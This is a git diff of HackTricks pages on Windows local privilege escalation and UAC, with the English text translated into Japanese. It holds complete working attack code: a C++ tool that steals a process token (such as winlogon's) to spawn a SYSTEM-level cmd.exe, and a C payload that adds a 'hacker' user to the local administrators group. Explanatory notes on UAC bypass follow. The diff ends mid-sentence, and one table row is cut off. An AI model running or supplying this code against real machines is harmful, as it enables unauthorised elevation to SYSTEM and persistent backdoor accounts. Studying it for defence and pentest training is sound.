-## Code - -The following code was copied from [here](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962). It allows to **indicate a Process ID as argument** and a CMD **running as the user** of the indicated process will be run.\ -Running in a High Integrity process you can **indicate the PID of a process running as System** (like winlogon, wininit) and execute a cmd.exe as system. +## コード +以下のコードは[ここ](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962)からコピーされました。**引数としてプロセスIDを指定**し、指定したプロセスのユーザーとして実行されるCMDを実行できます。\ +High Integrityプロセスで実行している場合、**Systemとして実行されるプロセスのPIDを指定**でき、cmd.exeをシステムとして実行できます。 ```cpp impersonateuser.exe 1234 ``` - {% code title="impersonateuser.cpp" %} ```cpp #include #include #include BOOL SetPrivilege( - HANDLE hToken, // access token handle - LPCTSTR lpszPrivilege, // name of privilege to enable/disable - BOOL bEnablePrivilege // to enable or disable privilege +HANDLE hToken, // access token handle +LPCTSTR lpszPrivilege, // name of privilege to enable/disable +BOOL bEnablePrivilege // to enable or disable privilege ) { - TOKEN_PRIVILEGES tp; - LUID luid; - if (!LookupPrivilegeValue( - NULL, // lookup privilege on local system - lpszPrivilege, // privilege to lookup - &luid)) // receives LUID of privilege - { - printf("[-] LookupPrivilegeValue error: %u\n", GetLastError()); - return FALSE; - } - tp.PrivilegeCount = 1; - tp.Privileges[0].Luid = luid; - if (bEnablePrivilege) - tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - else - tp.Privileges[0].Attributes = 0; - // Enable the privilege or disable all privileges. - if (!AdjustTokenPrivileges( - hToken, - FALSE, - &tp, - sizeof(TOKEN_PRIVILEGES), - (PTOKEN_PRIVILEGES)NULL, - (PDWORD)NULL)) - { - printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError()); - return FALSE; - } - if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) - { - printf("[-] The token does not have the specified privilege. \n"); - return FALSE; - } - return TRUE; +TOKEN_PRIVILEGES tp; +LUID luid; +if (!LookupPrivilegeValue( +NULL, // lookup privilege on local system +lpszPrivilege, // privilege to lookup +&luid)) // receives LUID of privilege +{ +printf("[-] LookupPrivilegeValue error: %u\n", GetLastError()); +return FALSE; +} +tp.PrivilegeCount = 1; +tp.Privileges[0].Luid = luid; +if (bEnablePrivilege) +tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +else +tp.Privileges[0].Attributes = 0; +// Enable the privilege or disable all privileges. +if (!AdjustTokenPrivileges( +hToken, +FALSE, +&tp, +sizeof(TOKEN_PRIVILEGES), +(PTOKEN_PRIVILEGES)NULL, +(PDWORD)NULL)) +{ +printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError()); +return FALSE; +} +if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) +{ +printf("[-] The token does not have the specified privilege. \n"); +return FALSE; +} +return TRUE; } std::string get_username() { - TCHAR username[UNLEN + 1]; - DWORD username_len = UNLEN + 1; - GetUserName(username, &username_len); - std::wstring username_w(username); - std::string username_s(username_w.begin(), username_w.end()); - return username_s; +TCHAR username[UNLEN + 1]; +DWORD username_len = UNLEN + 1; +GetUserName(username, &username_len); +std::wstring username_w(username); +std::string username_s(username_w.begin(), username_w.end()); +return username_s; } int main(int argc, char** argv) { - // Print whoami to compare to thread later - printf("[+] Current user is: %s\n", (get_username()).c_str()); - // Grab PID from command line argument - char* pid_c = argv[1]; - DWORD PID_TO_IMPERSONATE = atoi(pid_c); - // Initialize variables and structures - HANDLE tokenHandle = NULL; - HANDLE duplicateTokenHandle = NULL; - STARTUPINFO startupInfo; - PROCESS_INFORMATION processInformation; - ZeroMemory(&startupInfo, sizeof(STARTUPINFO)); - ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION)); - startupInfo.cb = sizeof(STARTUPINFO); - // Add SE debug privilege - HANDLE currentTokenHandle = NULL; - BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, ¤tTokenHandle); - if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE)) - { - printf("[+] SeDebugPrivilege enabled!\n"); - } - // Call OpenProcess(), print return code and error code - HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE); - if (GetLastError() == NULL) - printf("[+] OpenProcess() success!\n"); - else - { - printf("[-] OpenProcess() Return Code: %i\n", processHandle); - printf("[-] OpenProcess() Error: %i\n", GetLastError()); - } - // Call OpenProcessToken(), print return code and error code - BOOL getToken = OpenProcessToken(processHandle, MAXIMUM_ALLOWED, &tokenHandle); - if (GetLastError() == NULL) - printf("[+] OpenProcessToken() success!\n"); - else - { - printf("[-] OpenProcessToken() Return Code: %i\n", getToken); - printf("[-] OpenProcessToken() Error: %i\n", GetLastError()); - } - // Impersonate user in a thread - BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle); - if (GetLastError() == NULL) - { - printf("[+] ImpersonatedLoggedOnUser() success!\n"); - printf("[+] Current user is: %s\n", (get_username()).c_str()); - printf("[+] Reverting thread to original user context\n"); - RevertToSelf(); - } - else - { - printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken); - printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError()); - } - // Call DuplicateTokenEx(), print return code and error code - BOOL duplicateToken = DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle); - if (GetLastError() == NULL) - printf("[+] DuplicateTokenEx() success!\n"); - else - { - printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken); - printf("[-] DupicateTokenEx() Error: %i\n", GetLastError()); - } - // Call CreateProcessWithTokenW(), print return code and error code - BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation); - if (GetLastError() == NULL) - printf("[+] Process spawned!\n"); - else - { - printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess); - printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError()); - } - return 0; +// Print whoami to compare to thread later +printf("[+] Current user is: %s\n", (get_username()).c_str()); +// Grab PID from command line argument +char* pid_c = argv[1]; +DWORD PID_TO_IMPERSONATE = atoi(pid_c); +// Initialize variables and structures +HANDLE tokenHandle = NULL; +HANDLE duplicateTokenHandle = NULL; +STARTUPINFO startupInfo; +PROCESS_INFORMATION processInformation; +ZeroMemory(&startupInfo, sizeof(STARTUPINFO)); +ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION)); +startupInfo.cb = sizeof(STARTUPINFO); +// Add SE debug privilege +HANDLE currentTokenHandle = NULL; +BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, ¤tTokenHandle); +if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE)) +{ +printf("[+] SeDebugPrivilege enabled!\n"); +} +// Call OpenProcess(), print return code and error code +HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE); +if (GetLastError() == NULL) +printf("[+] OpenProcess() success!\n"); +else +{ +printf("[-] OpenProcess() Return Code: %i\n", processHandle); +printf("[-] OpenProcess() Error: %i\n", GetLastError()); +} +// Call OpenProcessToken(), print return code and error code +BOOL getToken = OpenProcessToken(processHandle, MAXIMUM_ALLOWED, &tokenHandle); +if (GetLastError() == NULL) +printf("[+] OpenProcessToken() success!\n"); +else +{ +printf("[-] OpenProcessToken() Return Code: %i\n", getToken); +printf("[-] OpenProcessToken() Error: %i\n", GetLastError()); +} +// Impersonate user in a thread +BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle); +if (GetLastError() == NULL) +{ +printf("[+] ImpersonatedLoggedOnUser() success!\n"); +printf("[+] Current user is: %s\n", (get_username()).c_str()); +printf("[+] Reverting thread to original user context\n"); +RevertToSelf(); +} +else +{ +printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken); +printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError()); +} +// Call DuplicateTokenEx(), print return code and error code +BOOL duplicateToken = DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle); +if (GetLastError() == NULL) +printf("[+] DuplicateTokenEx() success!\n"); +else +{ +printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken); +printf("[-] DupicateTokenEx() Error: %i\n", GetLastError()); +} +// Call CreateProcessWithTokenW(), print return code and error code +BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation); +if (GetLastError() == NULL) +printf("[+] Process spawned!\n"); +else +{ +printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess); +printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError()); +} +return 0; } ``` -{% endcode %} - -## Error - -On some occasions you may try to impersonate System and it won't work showing an output like the following: +## エラー +場合によっては、システムのなりすましを試みてもうまくいかず、次のような出力が表示されることがあります: ```cpp [+] OpenProcess() success! [+] OpenProcessToken() success! @@ -171,43 +164,22 @@ On some occasions you may try to impersonate System and it won't work showing an [-] CreateProcessWithTokenW Return Code: 0 [-] CreateProcessWithTokenW Error: 1326 ``` +これは、High Integrityレベルで実行していても、十分な権限がないことを意味します。\ +**プロセスエクスプローラ**(またはプロセスハッカーを使用することもできます)を使用して、現在の`svchost.exe`プロセスに対する管理者権限を確認しましょう。 -This means that even if you are running on a High Integrity level **you don't have enough permissions**.\ -Let's check current Administrator permissions over `svchost.exe` processes with **processes explorer** (or you can also use process hacker): - -1. Select a process of `svchost.exe` -2. Right Click --> Properties -3. Inside "Security" Tab click in the bottom right the button "Permissions" -4. Click on "Advanced" -5. Select "Administrators" and click on "Edit" -6. Click on "Show advanced permissions" +1. `svchost.exe`のプロセスを選択します。 +2. 右クリック→プロパティ +3. 「セキュリティ」タブ内で、右下の「権限」ボタンをクリックします。 +4. 「詳細」をクリックします。 +5. 「Administrators」を選択し、「編集」をクリックします。 +6. 「詳細な権限を表示」をクリックします。 ![](<../../.gitbook/assets/image (322).png>) -The previous image contains all the privileges that "Administrators" have over the selected process (as you can see in case of `svchost.exe` they only have "Query" privileges) +前の画像には、「Administrators」が選択したプロセスに対して持っている特権がすべて表示されています(`svchost.exe`の場合、クエリ特権のみ持っていることがわかります)。 -See the privileges "Administrators" have over `winlogon.exe`: +次に、「Administrators」が`winlogon.exe`に対して持っている特権を確認します。 ![](<../../.gitbook/assets/image (323).png>) -Inside that process "Administrators" can "Read Memory" and "Read Permissions" which probably allows Administrators to impersonate the token used by this process. - - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - +このプロセス内では、「Administrators」は「メモリの読み取り」と「権限の読み取り」ができるため、おそらくAdministratorsはこのプロセスで使用されているトークンを偽装することができます。 diff --git a/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md b/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md index 48a7db756..3b6e8a66b 100644 --- a/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md +++ b/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md @@ -1,52 +1,44 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# Add user - +# ユーザーの追加 ```text #i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c -#include /* system, NULL, EXIT_FAILURE */ -int main () -{ - int i; - system("net user hacker Hacker123! /add"); - system("net localgroup administrators hacker /add"); - return 0; +#include /* system, NULL, EXIT_FAILURE */ +int main () +{ +int i; +system("net user hacker Hacker123! /add"); +system("net localgroup administrators hacker /add"); +return 0; } ``` - - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/windows-hardening/windows-security-controls/uac-user-account-control.md b/windows-hardening/windows-security-controls/uac-user-account-control.md index 3be1d2baa..c00e53c22 100644 --- a/windows-hardening/windows-security-controls/uac-user-account-control.md +++ b/windows-hardening/windows-security-controls/uac-user-account-control.md @@ -1,143 +1,131 @@ -# UAC - User Account Control +# UAC - ユーザーアカウント制御
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有する**には、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
![](<../../.gitbook/assets/image (9) (1) (2).png>) -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## UAC -[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) is a feature that enables a **consent prompt for elevated activities**. Applications have different `integrity` levels, and a program with a **high level** can perform tasks that **could potentially compromise the system**. When UAC is enabled, applications and tasks always **run under the security context of a non-administrator account** unless an administrator explicitly authorizes these applications/tasks to have administrator-level access to the system to run. It is a convenience feature that protects administrators from unintended changes but is not considered a security boundary. +[ユーザーアカウント制御(UAC)](https://docs.microsoft.com/ja-jp/windows/security/identity-protection/user-account-control/how-user-account-control-works)は、**昇格されたアクティビティの承認プロンプト**を有効にする機能です。アプリケーションには異なる`整合性`レベルがあり、**高いレベル**のプログラムは**システムを危険にさらす可能性のあるタスクを実行**することができます。UACが有効になっている場合、アプリケーションとタスクは常に、管理者がこれらのアプリケーション/タスクにシステムへの管理者レベルのアクセスを明示的に許可するまで、管理者以外のアカウントのセキュリティコンテキストで実行されます。これは、管理者が意図しない変更から保護する便利な機能ですが、セキュリティの境界とは見なされません。 -For more info about integrity levels: +整合性レベルについての詳細は、次のページを参照してください: {% content-ref url="../windows-local-privilege-escalation/integrity-levels.md" %} [integrity-levels.md](../windows-local-privilege-escalation/integrity-levels.md) {% endcontent-ref %} -When UAC is in place, an administrator user is given 2 tokens: a standard user key, to perform regular actions as regular level, and one with the admin privileges. +UACが設定されている場合、管理者ユーザーには2つのトークンが与えられます:通常のアクションを通常のレベルで実行するための標準ユーザーキーと、管理者特権を持つものです。 -This [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) discusses how UAC works in great depth and includes the logon process, user experience, and UAC architecture. Administrators can use security policies to configure how UAC works specific to their organization at the local level (using secpol.msc), or configured and pushed out via Group Policy Objects (GPO) in an Active Directory domain environment. The various settings are discussed in detail [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). There are 10 Group Policy settings that can be set for UAC. The following table provides additional detail: +この[ページ](https://docs.microsoft.com/ja-jp/windows/security/identity-protection/user-account-control/how-user-account-control-works)では、UACの動作、ユーザーエクスペリエンス、およびUACアーキテクチャについて詳しく説明しています。管理者は、セキュリティポリシーを使用して、ローカルレベル(secpol.mscを使用)で組織固有のUACの動作を設定するか、Active Directoryドメイン環境でグループポリシーオブジェクト(GPO)を構成およびプッシュアウトすることができます。さまざまな設定については、[こちら](https://docs.microsoft.com/ja-jp/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings)で詳しく説明されています。UACに設定できる10のグループポリシー設定については、以下の表に詳細が記載されています: -| Group Policy Setting | Registry Key | Default Setting | +| グループポリシー設定 | レジストリキー | デフォルト設定 | | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ | -| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Disabled | -| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Disabled | -| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Prompt for consent for non-Windows binaries | -| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Prompt for credentials on the secure desktop | -| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Enabled (default for home) Disabled (default for enterprise) | -| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Disabled | -| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Enabled | -| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Enabled | -| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Enabled | -| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Enabled | +| [ビルトイン管理者アカウントのユーザーアカウント制御: 管理者承認モード](https://docs.microsoft.com/ja-jp/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | 無効 | +| [ユーザーアカウント制御: セキュアデスクトップを使用せずにUIAccessアプリケーションに昇格のプロンプトを許可する](https://docs.microsoft.com/ja-jp/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | 無効 | +| [ユーザーアカウント制御: 管理者承認モードの昇格プロンプトの動作](https://docs.microsoft.com/ja-jp/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | 非Windowsバイナリに対して同意を求める | +| [ユーザーアカウント制御: 標準ユーザーの昇格プロンプトの動作](https://docs.microsoft.com/ja-jp/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | セキュアデスクトップで資格情報を求める | +| [ユーザーアカウント制御: アプリケーションのインストールの検出と昇格のプロンプト](https://docs.microsoft.com/ja-jp/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | 有効(ホームのデフォルト) 無効(エンタープライズのデフォルト) | +| [ユーザーアカウント制御: 署名され、検証された実行可能ファイルのみを昇 +| [ユーザーアカウント制御:ユーザーごとの場所にファイルとレジストリの書き込みエラーを仮想化する](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | 有効 | -### UAC Bypass Theory +### UACバイパスの理論 -Some programs are **autoelevated automatically** if the **user belongs** to the **administrator group**. These binaries have inside their _**Manifests**_ the _**autoElevate**_ option with value _**True**_. The binary has to be **signed by Microsoft** also. +一部のプログラムは、ユーザーが管理者グループに所属している場合、**自動的に自動昇格**します。これらのバイナリには、_**マニフェスト**_内に_value_ _**True**_の_autoElevate_オプションがあります。また、バイナリは**Microsoftによって署名**されている必要もあります。 -Then, to **bypass** the **UAC** (elevate from **medium** integrity level **to high**) some attackers use this kind of binaries to **execute arbitrary code** because it will be executed from a **High level integrity process**. +そのため、**UAC**(**中**の完全性レベルから**高**に昇格)を**バイパス**するため、一部の攻撃者はこの種のバイナリを使用して**任意のコードを実行**します。なぜなら、それは**高い完全性レベルのプロセス**から実行されるからです。 -You can **check** the _**Manifest**_ of a binary using the tool _**sigcheck.exe**_ from Sysinternals. And you can **see** the **integrity level** of the processes using _Process Explorer_ or _Process Monitor_ (of Sysinternals). +ツール_Sysinternals_の_sigcheck.exe_を使用してバイナリの_**マニフェスト**_を**確認**できます。また、_Process Explorer_または_Process Monitor_(Sysinternalsの)を使用して、プロセスの**完全性レベル**を**確認**できます。 -### Check UAC - -To confirm if UAC is enabled do: +### UACの確認 +UACが有効かどうかを確認するには、以下を実行してください: ``` REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System - EnableLUA REG_DWORD 0x1 +EnableLUA REG_DWORD 0x1 ``` +もし値が**`1`**であれば、UACは**有効**です。もし値が**`0`**であるか、存在しない場合は、UACは**無効**です。 -If it's **`1`** then UAC is **activated**, if its **`0`** or it **doesn't exist**, then UAC is **inactive**. - -Then, check **which 